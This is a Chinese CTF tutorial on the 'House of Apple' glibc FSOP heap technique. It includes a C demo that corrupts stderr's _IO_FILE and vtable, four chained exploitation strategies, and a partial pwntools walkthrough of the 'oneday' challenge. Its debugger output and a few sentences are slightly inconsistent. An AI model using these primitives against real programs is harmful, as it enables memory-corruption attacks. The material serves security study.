House_of_apple1 简述 利用_IO_wstrn_overflow
这个函数,通过伪造file的结构,这个函数可以覆盖传入fp->_wide_data
上的地址覆盖为可以知道的堆地址,攻击效果和进行一次largebin attack
一样,实现任意地址写已知地址。
利用条件 使用house of apple
的条件为: 1、程序从main
函数返回或能调用exit
函数 2、能泄露出heap
地址和libc
地址 3、 能使用一次largebin attack
(一次即可)
利用原理 原理解释均基于amd64
程序。
当程序从main
函数返回或者执行exit
函数的时候,均会调用fcloseall
函数,该调用链为:
最后会遍历_IO_list_all
存放的每一个IO_FILE
结构体,如果满足条件的话,会调用每个结构体中vtable->_overflow
函数指针指向的函数。
使用largebin attack
可以劫持_IO_list_all
变量,将其替换为伪造的IO_FILE
结构体,而在此时,我们其实仍可以继续利用某些IO
流函数去修改其他地方的值。要想修改其他地方的值,就离不开_IO_FILE
的一个成员_wide_data
的利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 struct _IO_FILE_complete { struct _IO_FILE _file ; __off64_t _offset; struct _IO_codecvt *_codecvt ; struct _IO_wide_data *_wide_data ; struct _IO_FILE *_freeres_list ; void *_freeres_buf; size_t __pad5; int _mode; char _unused2[15 * sizeof (int ) - 4 * sizeof (void *) - sizeof (size_t )]; };
amd64
程序下,struct _IO_wide_data *_wide_data
在_IO_FILE
中的偏移为0xa0
:
我们在伪造_IO_FILE
结构体的时候,伪造_wide_data
变量,然后通过某些函数,比如_IO_wstrn_overflow
就可以将已知地址空间上的某些值修改为一个已知值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 static wint_t _IO_wstrn_overflow (FILE *fp, wint_t c) { _IO_wstrnfile *snf = (_IO_wstrnfile *) fp; if (fp->_wide_data->_IO_buf_base != snf->overflow_buf) { _IO_wsetb (fp, snf->overflow_buf, snf->overflow_buf + (sizeof (snf->overflow_buf) / sizeof (wchar_t )), 0 ); fp->_wide_data->_IO_write_base = snf->overflow_buf; fp->_wide_data->_IO_read_base = snf->overflow_buf; fp->_wide_data->_IO_read_ptr = snf->overflow_buf; fp->_wide_data->_IO_read_end = (snf->overflow_buf + (sizeof (snf->overflow_buf) / sizeof (wchar_t ))); } fp->_wide_data->_IO_write_ptr = snf->overflow_buf; fp->_wide_data->_IO_write_end = snf->overflow_buf; return c; }
分析一下这个函数,首先将fp
强转为_IO_wstrnfile *
指针,然后判断fp->_wide_data->_IO_buf_base != snf->overflow_buf
是否成立(一般肯定是成立的),如果成立则会对fp->_wide_data
的_IO_write_base
、_IO_read_base
、_IO_read_ptr
和_IO_read_end
赋值为snf->overflow_buf
或者与该地址一定范围内偏移的值;最后对fp->_wide_data
的_IO_write_ptr
和_IO_write_end
赋值。
也就是说,只要控制了fp->_wide_data
,就可以控制从fp->_wide_data
开始一定范围内的内存的值,也就等同于任意地址写已知地址 。
这里有时候需要绕过_IO_wsetb
函数里面的free
:
1 2 3 4 5 6 7 8 9 10 11 12 void _IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a) { if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF)) free (f->_wide_data->_IO_buf_base); f->_wide_data->_IO_buf_base = b; f->_wide_data->_IO_buf_end = eb; if (a) f->_flags2 &= ~_IO_FLAGS2_USER_WBUF; else f->_flags2 |= _IO_FLAGS2_USER_WBUF; }
_IO_wstrnfile
涉及到的结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 struct _IO_str_fields { _IO_alloc_type _allocate_buffer_unused; _IO_free_type _free_buffer_unused; }; struct _IO_streambuf { FILE _f; const struct _IO_jump_t *vtable ; }; typedef struct _IO_strfile_ { struct _IO_streambuf _sbf ; struct _IO_str_fields _s ; } _IO_strfile; typedef struct { _IO_strfile f; char overflow_buf[64 ]; } _IO_strnfile; typedef struct { _IO_strfile f; wchar_t overflow_buf[64 ]; } _IO_wstrnfile;
其中,overflow_buf
相对于_IO_FILE
结构体的偏移为0xf0
,在vtable
后面。
而struct _IO_wide_data
结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt ; wchar_t _shortbuf[1 ]; const struct _IO_jump_t *_wide_vtable ; };
换而言之,假如此时在堆上伪造一个_IO_FILE
结构体并已知其地址为A
,将A + 0xd8
(vtable)替换为_IO_wstrn_jumps
地址,A + 0xc0
(_mode
)设置为0,A+0xa0
(_wide_data
)设置为B
,并设置其他成员以便能调用到_IO_OVERFLOW
。exit
函数则会一路调用到_IO_wstrn_overflow
函数,并将B
至B + 0x38
的地址区域的内容都替换为A + 0xf0
或者A + 0x1f0
并将B
至B + 0x40
的地址区域的内容都替换为A + 0xf0
或者A + 0x1f0
。
设置其他成员即:
1 2 [+] step 1: change stderr->_IO_write_ptr to -1 [+] step 2: change stderr->_flags2 to 8
IO_file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 0x0 _flags0x8 _IO_read_ptr0x10 _IO_read_end0x18 _IO_read_base0x20 _IO_write_base0x28 _IO_write_ptr0x30 _IO_write_end0x38 _IO_buf_base0x40 _IO_buf_end0x48 _IO_save_base0x50 _IO_backup_base0x58 _IO_save_end0x60 _markers0x68 _chain0x70 _fileno0x74 _flags20x78 _old_offset0x80 _cur_column0x82 _vtable_offset0x83 _shortbuf0x88 _lock0x90 _offset0x98 _codecvt0xa0 _wide_data0xa8 _freeres_list0xb0 _freeres_buf0xb8 __pad50xc0 _mode0xc4 _unused20xd8 vtable
简单写一个demo
程序进行验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <string.h> void main () { setbuf(stdout , 0 ); setbuf(stdin , 0 ); setvbuf(stderr , 0 , 2 , 0 ); puts ("[*] allocate a 0x100 chunk" ); size_t *p1 = malloc (0xf0 ); size_t *tmp = p1; size_t old_value = 0x1122334455667788 ; for (size_t i = 0 ; i < 0x100 / 8 ; i++) { p1[i] = old_value; } puts ("===========================old value=======================" ); for (size_t i = 0 ; i < 4 ; i++) { printf ("[%p]: 0x%016lx 0x%016lx\n" , tmp, tmp[0 ], tmp[1 ]); tmp += 2 ; } puts ("===========================old value=======================" ); size_t puts_addr = (size_t )&puts ; printf ("[*] puts address: %p\n" , (void *)puts_addr); size_t stderr_write_ptr_addr = puts_addr + 0x19a878 ; printf ("[*] stderr->_IO_write_ptr address: %p\n" , (void *)stderr_write_ptr_addr); size_t stderr_flags2_addr = puts_addr + 0x19a8c4 ; printf ("[*] stderr->_flags2 address: %p\n" , (void *)stderr_flags2_addr); size_t stderr_wide_data_addr = puts_addr + 0x19a8f0 ; printf ("[*] stderr->_wide_data address: %p\n" , (void *)stderr_wide_data_addr); size_t sdterr_vtable_addr = puts_addr + 0x19a928 ; printf ("[*] stderr->vtable address: %p\n" , (void *)sdterr_vtable_addr); size_t _IO_wstrn_jumps_addr = puts_addr + 0x195f70 ; printf ("[*] _IO_wstrn_jumps address: %p\n" , (void *)_IO_wstrn_jumps_addr); puts ("[+] step 1: change stderr->_IO_write_ptr to -1" ); *(size_t *)stderr_write_ptr_addr = (size_t )-1 ; puts ("[+] step 2: change stderr->_flags2 to 8" ); *(size_t *)stderr_flags2_addr = 8 ; puts ("[+] step 3: replace stderr->_wide_data with the allocated chunk" ); *(size_t *)stderr_wide_data_addr = (size_t )p1; puts ("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps" ); *(size_t *)sdterr_vtable_addr = (size_t )_IO_wstrn_jumps_addr; puts ("[+] step 5: call fcloseall and trigger house of apple" ); fcloseall(); tmp = p1; puts ("===========================new value=======================" ); for (size_t i = 0 ; i < 4 ; i++) { printf ("[%p]: 0x%016lx 0x%016lx\n" , tmp, tmp[0 ], tmp[1 ]); tmp += 2 ; } puts ("===========================new value=======================" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 [*] allocate a 0x100 chunk ===========================old value======================= [0x5555555592a0]: 0x1122334455667788 0x1122334455667788 [0x5555555592b0]: 0x1122334455667788 0x1122334455667788 [0x5555555592c0]: 0x1122334455667788 0x1122334455667788 [0x5555555592d0]: 0x1122334455667788 0x1122334455667788 ===========================old value======================= [*] puts address: 0x7ffff7c80e50 [*] stderr->_IO_write_ptr address: 0x7ffff7e1b6c8 [*] stderr->_flags2 address: 0x7ffff7e1b714 [*] stderr->_wide_data address: 0x7ffff7e1b740 [*] stderr->vtable address: 0x7ffff7e1b778 pwndbg> p &_IO_2_1_stderr_ $1 = (struct _IO_FILE_plus *) 0x7ffff7e1b6a0 <_IO_2_1_stderr_> pwndbg> fp 0x7ffff7e1b6a0 $2 = { file = { _flags = -72540025, _IO_read_ptr = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_read_end = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_read_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_write_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_write_ptr = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_write_end = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_buf_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_buf_end = 0x7ffff7e1b724 <_IO_2_1_stderr_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7e1b780 <_IO_2_1_stdout_>, _fileno = 2, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x7ffff7e1ca60 <_IO_stdfile_2_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7ffff7e1a8a0 <_IO_wide_data_2>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7e17600 <_IO_file_jumps> } pwndbg> tele 0x7ffff7c80e50 1 00:0000│ 0x7ffff7c80e50 (puts) ◂— endbr64 pwndbg> tele 0x7ffff7e1b6c8 1 00:0000│ 0x7ffff7e1b6c8 (_IO_2_1_stderr_+40) —▸ 0x7ffff7e1b723 (_IO_2_1_stderr_+131) ◂— 0xe1ca600000000000 pwndbg> x/1wx 0x7ffff7e1b714 0x7ffff7e1b714 <_IO_2_1_stderr_+116>: 0x00000000 pwndbg> tele 0x7ffff7e1b740 1 00:0000│ 0x7ffff7e1b740 (_IO_2_1_stderr_+160) —▸ 0x7ffff7e1a8a0 (_IO_wide_data_2) ◂— 0x0 pwndbg> tele 0x7ffff7e1b778 1 00:0000│ 0x7ffff7e1b778 (_IO_2_1_stderr_+216) —▸ 0x7ffff7e17600 (_IO_file_jumps) ◂— 0x0
先将偏移换成自己libc的偏移,然后跟着调试,gcc -g
可以附加c文件调试信息,直观一点
1 2 3 4 [+] step 1: change stderr->_IO_write_ptr to -1 [+] step 2: change stderr->_flags2 to 8 [+] step 3: replace stderr->_wide_data with the allocated chunk [+] step 4: replace stderr->vtable with _IO_wstrn_jumps
执行完上面的几步之后,stderr已经变成这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pwndbg> fp 0x7ffff7e1b6a0 $9 = { file = { _flags = -72540025, _IO_read_ptr = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_read_end = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_read_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_write_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_write_ptr = 0xffffffffffffffff <error: Cannot access memory at address 0xffffffffffffffff>, _IO_write_end = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_buf_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "", _IO_buf_end = 0x7ffff7e1b724 <_IO_2_1_stderr_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7e1b780 <_IO_2_1_stdout_>, _fileno = 2, _flags2 = 8, _old_offset = -4294967296, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x7ffff7e1ca60 <_IO_stdfile_2_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x5555555592a0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7e16dc0 <_IO_wstrn_jumps> }
如果用fsop指令看的话可以看出已经完成了fsop的设置,将会劫持程序流到_IO_wstrn_overflow
:
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> fsop ---------- fp : 0x7ffff7e1b6a0 ---------- Result : True Func : 0x7ffff7c82f00 ---------- fp : 0x7ffff7e1b780 ---------- _IO_write_ptr(0x7ffff7e1b803) < _IO_write_base(0x7ffff7e1b803) Result : False ---------- fp : 0x7ffff7e1aaa0 ---------- _IO_write_ptr(0x7ffff7e1ab23) < _IO_write_base(0x7ffff7e1ab23) Result : False pwndbg> tele 0x7ffff7c82f00 1 00:0000│ 0x7ffff7c82f00 (_IO_wstrn_overflow) ◂— endbr64
执行完fcloseall()以后,chunk1的值已经被修改为如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x100 (with flag bits: 0x101) Top chunk Addr: 0x555555559390 Size: 0x1122334455667788 (with flag bits: 0x1122334455667788) pwndbg> x/64gx 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000101 0x5555555592a0: 0x00007ffff7e1b790 0x00007ffff7e1b890 0x5555555592b0: 0x00007ffff7e1b790 0x00007ffff7e1b790 0x5555555592c0: 0x00007ffff7e1b790 0x00007ffff7e1b790 0x5555555592d0: 0x00007ffff7e1b790 0x00007ffff7e1b890 0x5555555592e0: 0x1122334455667788 0x1122334455667788 0x5555555592f0: 0x1122334455667788 0x1122334455667788 0x555555559300: 0x1122334455667788 0x1122334455667788 0x555555559310: 0x1122334455667788 0x1122334455667788 0x555555559320: 0x1122334455667788 0x1122334455667788 0x555555559330: 0x1122334455667788 0x1122334455667788 0x555555559340: 0x1122334455667788 0x1122334455667788 0x555555559350: 0x1122334455667788 0x1122334455667788 0x555555559360: 0x1122334455667788 0x1122334455667788 0x555555559370: 0x1122334455667788 0x1122334455667788 0x555555559380: 0x1122334455667788 0x1122334455667788 0x555555559390: 0x1122334455667788 0x1122334455667788
可以看到,该fsop已经成功修改了sdterr->_wide_data
所指向的地址空间的内存。
利用思路 从上面的分析可以,在只给了1
次largebin attack
的前提下,能利用_IO_wstrn_overflow
函数将任意地址空间上的值修改为一个已知地址,并且这个已知地址通常为堆地址。那么,当我们伪造两个甚至多个_IO_FILE
结构体,并将这些结构体通过chain
字段串联起来就能进行组合利用。基于此,我总结了house of apple
下至少四种利用思路。
思路一:修改tcache
线程变量 该思路需要借助house of pig
的思想,利用_IO_str_overflow
中的malloc
进行任意地址分配,memcpy
进行任意地址覆盖。其代码片段如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int _IO_str_overflow (FILE *fp, int c){ char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = malloc (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); free (old_buf); }
利用步骤如下:
伪造至少两个_IO_FILE
结构体
第一个_IO_FILE
结构体执行_IO_OVERFLOW
的时候,利用_IO_wstrn_overflow
函数修改tcache
全局变量为已知值,也就控制了tcache bin
的分配
第二个_IO_FILE
结构体执行_IO_OVERFLOW
的时候,利用_IO_str_overflow
中的malloc
函数任意地址分配,并使用memcpy
使得能够任意地址写任意值
利用两次任意地址写任意值修改pointer_guard
和IO_accept_foreign_vtables
的值绕过_IO_vtable_check
函数的检测(或者利用一次任意地址写任意值修改libc.got
里面的函数地址,很多IO
流函数调用strlen/strcpy/memcpy/memset
等都会调到libc.got
里面的函数)
利用一个_IO_FILE
,随意伪造vtable
劫持程序控制流即可
因为可以已经任意地址写任意值了,所以这可以控制的变量和结构体非常多,也非常地灵活,需要结合具体的题目进行利用,比如题目中_IO_xxx_jumps
映射的地址空间可写的话直接修改其函数指针即可。
思路二:修改mp_
结构体 该思路与上述思路差不多,不过对tcachebin
分配的劫持是通过修改mp_.tcache_bins
这个变量。打这个结构体的好处是在攻击远程时不需要爆破地址,因为线程全局变量、tls
结构体的地址本地和远程并不一定是一样的,有时需要爆破。
利用步骤如下:
伪造至少两个_IO_FILE
结构体
第一个_IO_FILE
结构体执行_IO_OVERFLOW
的时候,利用_IO_wstrn_overflow
函数修改mp_.tcache_bins
为很大的值,使得很大的chunk
也通过tcachebin
去管理
接下来的过程与上面的思路是一样的
思路三:修改pointer_guard
线程变量之house of emma
该思路其实就是house of apple + house of emma
。
利用步骤如下:
伪造两个_IO_FILE
结构体
第一个_IO_FILE
结构体执行_IO_OVERFLOW
的时候,利用_IO_wstrn_overflow
函数修改tls
结构体pointer_guard
的值为已知值
第二个_IO_FILE
结构体用来做house of emma
利用即可控制程序执行流
思路四:修改global_max_fast
全局变量 这个思路也很灵活,修改掉这个变量后,直接释放超大的chunk
,去覆盖掉point_guard
或者tcache
变量。我称之为house of apple + house of corrision
。
利用过程与前面也基本是大同小异,就不在此详述了。
其实也有其他的思路,比如还可以劫持main_arena
,不过这个结构体利用起来会更复杂,所需要的空间将更大。而在上述思路的利用过程中,可以选择错位构造_IO_FILE
结构体,只需要保证关键字段满足要求即可,这样可以更加节省空间。
例题分析 这里以某次市赛的题为例,题目为pwn_oneday
,附件下载链接在这里 。
这个题目禁止了execve
系统调用,能分配的chunk
的大小基本是固定的,并且只允许1
次读和1
次写,最多只能分配0x10
次,使用的glibc
版本为2.34
。
题目分析 题目给的是20.04
1 2 strings libc.so.6| grep ubuntu GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
1 2 3 4 5 6 7 8 checksec oneday [*] '/mnt/hgfs/Desktop-2/oneday' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/mnt/hgfs/Desktop-2'
initial 首先是初始化,开启了沙盒:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int prctl_execve () { __int16 v1; __int128 *v2; __int128 v3[4 ]; unsigned __int64 v4; v4 = __readfsqword(0x28 u); v3[3 ] = xmmword_1510; v3[2 ] = xmmword_1500; v3[1 ] = xmmword_14F0; v3[0 ] = xmmword_14E0; v1 = 8 ; v2 = v3; prctl(38 , 1LL , 0LL , 0LL , 0LL ); return prctl(22 , 2LL , &v1); }
1 2 3 4 5 6 7 8 9 10 11 seccomp-tools dump ./oneday line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
main main
函数必须选一个key
,大小在6-10
。结合add函数来看,也就是说,分配的chunk
都会属于largebin
范围。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { (init111)(a1, a2, a3); auto_write("enter your key >>\n" ); key = get_int(); if ( key > 5uLL && key <= 10uLL ) { key *= 0x110 LL; while ( 2 ) { auto_write("1. add\n2. delete\n3. read\n4. write\n" ); auto_write("enter your command: \n" ); switch ( get_int() ) { case 1u : add(); continue ; case 2u : delete(); continue ; case 3u : if ( read_3_flag == 1 ) read_3(); continue ; case 4u : if ( write_3_flag == 1 ) write_3(); continue ; default : return 0LL ; } } } return 0LL ; }
add 1分配0xab1 2分配0xac1 3分配0x1551
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 unsigned __int64 add () { unsigned int v0; unsigned int i; for ( i = 0 ; i < 0x10 && heap_array[i]; ++i ) ; if ( i >= 0x10 ) exit (1 ); auto_write("choise: " ); v0 = get_int(); unk_202030 = v0; if ( v0 && unk_202030 <= 3uLL ) { switch ( unk_202030 ) { case 1LL : calloc_key(i); break ; case 2LL : calloc_key_p10(i); break ; case 3LL : calloc_2key(i); break ; } } return __readfsqword(0x28 u); } unsigned __int64 __fastcall calloc_key (int a1) { void *v2; v2 = calloc (1uLL , key); if ( !v2 ) { auto_write("Error ):\n" ); exit (1 ); } heap_array[a1] = v2; return __readfsqword(0x28 u); }
delete 存在uaf
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 delete () { unsigned int v1; auto_write("Index: \n" ); v1 = get_int(); if ( v1 < 0x10 && heap_array[v1] ) { free (heap_array[v1]); auto_write("safe remove\n" ); } return __readfsqword(0x28 u); }
edit 只给一次机会
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 read_3 () { unsigned int v1; auto_write("Index: " ); v1 = get_int(); if ( v1 < 0x10 && heap_array[v1] ) { auto_write("Message: \n" ); edit_chunk(heap_array[v1], key); read_3_flag = 0 ; } else { auto_write("Error Index ):\n" ); } return __readfsqword(0x28 u); }
show 一次机会
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned __int64 write_3 () { unsigned int v1; auto_write("Index: " ); v1 = get_int(); if ( v1 < 0x10 && heap_array[v1] ) { auto_write("Message: \n" ); write(1 , heap_array[v1], 0x10 uLL); } write_3_flag = 0 ; return __readfsqword(0x28 u); }
需要使用一次读泄露出libc
地址和heap
地址,然后用一次写做一次largebin attack
payload分析: 1.预留指向对应位置的指针 由于都是unsortedbin
,删除之后会进行合并,导致和没有分配chunk之前一样
1 2 3 4 5 6 7 8 sla(b'enter your key >>\n' , str (10 ).encode()) add(2 ) add(2 ) add(1 ) delete(2 ) delete(1 ) delete(0 ) gdb.attach(io, "tele $rebase(0x202040) 0x20" )
1 2 3 4 5 6 7 8 9 10 11 00:0000│ 0x563f90202040 (__bss_start+46) —▸ 0x563f907182a0 ◂— 0x0 01:0008│ 0x563f90202048 (__bss_start+54) —▸ 0x563f90718d60 ◂— 0x0 02:0010│ 0x563f90202050 (__bss_start+62) —▸ 0x563f90719820 ◂— 0x0 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x563f90718000 Size: 0x290 (with flag bits: 0x291) Top chunk | PREV_INUSE Addr: 0x563f90718290 Size: 0x20d70 (with flag bits: 0x20d71)
2.泄露libc_base和heap_base 1 2 3 4 5 6 7 8 9 10 11 12 13 add(1 ) # 3 add(1 ) # 4 add(1 ) # 5 add(1 ) # 6 delete(3 ) delete(5 ) show(3 ) libc_base = u64(io.recvuntil(b' \x7f' )[-6 :].ljust(8 , b' \x00' )) - 0x1f2cc0 lga("libc_base" ) io.recv(2 ) heap_base = u64(io.recv(6 ).ljust(8 , b' \x00' )) - 0x17f0 lga("heap_base" ) gdb.attach(io, "tele $rebase(0x202040) 0x20" )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 00:0000│ 0x55959ea02040 (__bss_start+46) —▸ 0x55959fba02a0 —▸ 0x7fde175f2cc0 (main_arena+96) —▸ 0x55959fba2d50 ◂— 0x0 01:0008│ 0x55959ea02048 (__bss_start+54) —▸ 0x55959fba0d60 ◂— 0x0 02:0010│ 0x55959ea02050 (__bss_start+62) —▸ 0x55959fba1820 ◂— 0x0 03:0018│ 0x55959ea02058 (__bss_start+70) —▸ 0x55959fba02a0 —▸ 0x7fde175f2cc0 (main_arena+96) —▸ 0x55959fba2d50 ◂— 0x0 04:0020│ 0x55959ea02060 (__bss_start+78) —▸ 0x55959fba0d50 ◂— 0x0 05:0028│ 0x55959ea02068 (__bss_start+86) —▸ 0x55959fba1800 —▸ 0x55959fba0290 ◂— 0x0 06:0030│ 0x55959ea02070 (__bss_start+94) —▸ 0x55959fba22b0 ◂— 0x0 pwndbg> bins tcachebins empty fastbins empty unsortedbin all: 0x55959fba17f0 —▸ 0x55959fba0290 —▸ 0x7fde175f2cc0 (main_arena+96) ◂— 0x55959fba17f0 pwndbg> x/4gx 0x55959fba0290 0x55959fba0290: 0x0000000000000000 0x0000000000000ab1 0x55959fba02a0: 0x00007fde175f2cc0 0x000055959fba17f0
现在我们show3,就可以将chunk 3的fd->libc_base和bk->heap_base给泄露出来(第一步的意义是啥?)
接着又将堆恢复到初始状态:
1 2 3 delete(4 ) delete(6 ) gdb.attach(io, "tele $rebase(0x202040) 0x20" )
但是此时,heap_array中已经存放了一些指针
1 2 3 4 5 6 7 8 00:0000│ 0x55db01202040 (__bss_start+46) —▸ 0x55db025342a0 —▸ 0x7f16ff3f2cc0 (main_arena+96) —▸ 0x55db02534290 ◂— 0x0 01:0008│ 0x55db01202048 (__bss_start+54) —▸ 0x55db02534d60 ◂— 0x0 02:0010│ 0x55db01202050 (__bss_start+62) —▸ 0x55db02535820 ◂— 0x0 03:0018│ 0x55db01202058 (__bss_start+70) —▸ 0x55db025342a0 —▸ 0x7f16ff3f2cc0 (main_arena+96) —▸ 0x55db02534290 ◂— 0x0 04:0020│ 0x55db01202060 (__bss_start+78) —▸ 0x55db02534d50 ◂— 0x0 05:0028│ 0x55db01202068 (__bss_start+86) —▸ 0x55db02535800 —▸ 0x7f16ff3f2cc0 (main_arena+96) —▸ 0x55db02534290 ◂— 0x0 06:0030│ 0x55db01202070 (__bss_start+94) —▸ 0x55db025362b0 ◂— 0x0 07:0038│ 0x55db01202078 (__bss_start+102) ◂— 0x0
接下来我们就要用这些指针进行一次largbin attack?
3.分配largebin
1 2 3 4 5 6 add(3 ) add(1 ) add(1 ) delete(8 ) add(3 ) gdb.attach(io, "tele $rebase(0x202040) 0x20" )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 00:0000│ 0x55f0c8c02040 (__bss_start+46) —▸ 0x55f0ca80c2a0 ◂— 0x0 01:0008│ 0x55f0c8c02048 (__bss_start+54) —▸ 0x55f0ca80cd60 ◂— 0x0 02:0010│ 0x55f0c8c02050 (__bss_start+62) —▸ 0x55f0ca80d820 ◂— 0x0 03:0018│ 0x55f0c8c02058 (__bss_start+70) —▸ 0x55f0ca80c2a0 ◂— 0x0 04:0020│ 0x55f0c8c02060 (__bss_start+78) —▸ 0x55f0ca80cd50 ◂— 0x0 05:0028│ 0x55f0c8c02068 (__bss_start+86) —▸ 0x55f0ca80d800 ◂— 0x0 06:0030│ 0x55f0c8c02070 (__bss_start+94) —▸ 0x55f0ca80e2b0 ◂— 0x0 07:0038│ 0x55f0c8c02078 (__bss_start+102) —▸ 0x55f0ca80c2a0 ◂— 0x0 08:0040│ 0x55f0c8c02080 (__bss_start+110) —▸ 0x55f0ca80d7f0 ◂— 0x0 09:0048│ 0x55f0c8c02088 (__bss_start+118) —▸ 0x55f0ca80e2a0 ◂— 0x0 0a:0050│ 0x55f0c8c02090 (__bss_start+126) ◂— 0x0 pwndbg> largebin largebins 0xa80-0xab0: 0x5585860e77e0 —▸ 0x7ff91cdf3250 (main_arena+1520) ◂— 0x5585860e77e0 pwndbg> heap -v Free chunk (largebins) | PREV_INUSE Addr: 0x5585860e77e0 prev_size: 0x00 size: 0xab0 (with flag bits: 0xab1) fd: 0x7ff91cdf3250 bk: 0x7ff91cdf3250 fd_nextsize: 0x5585860e77e0 # chunk bk_nextsize: 0x5585860e77e0
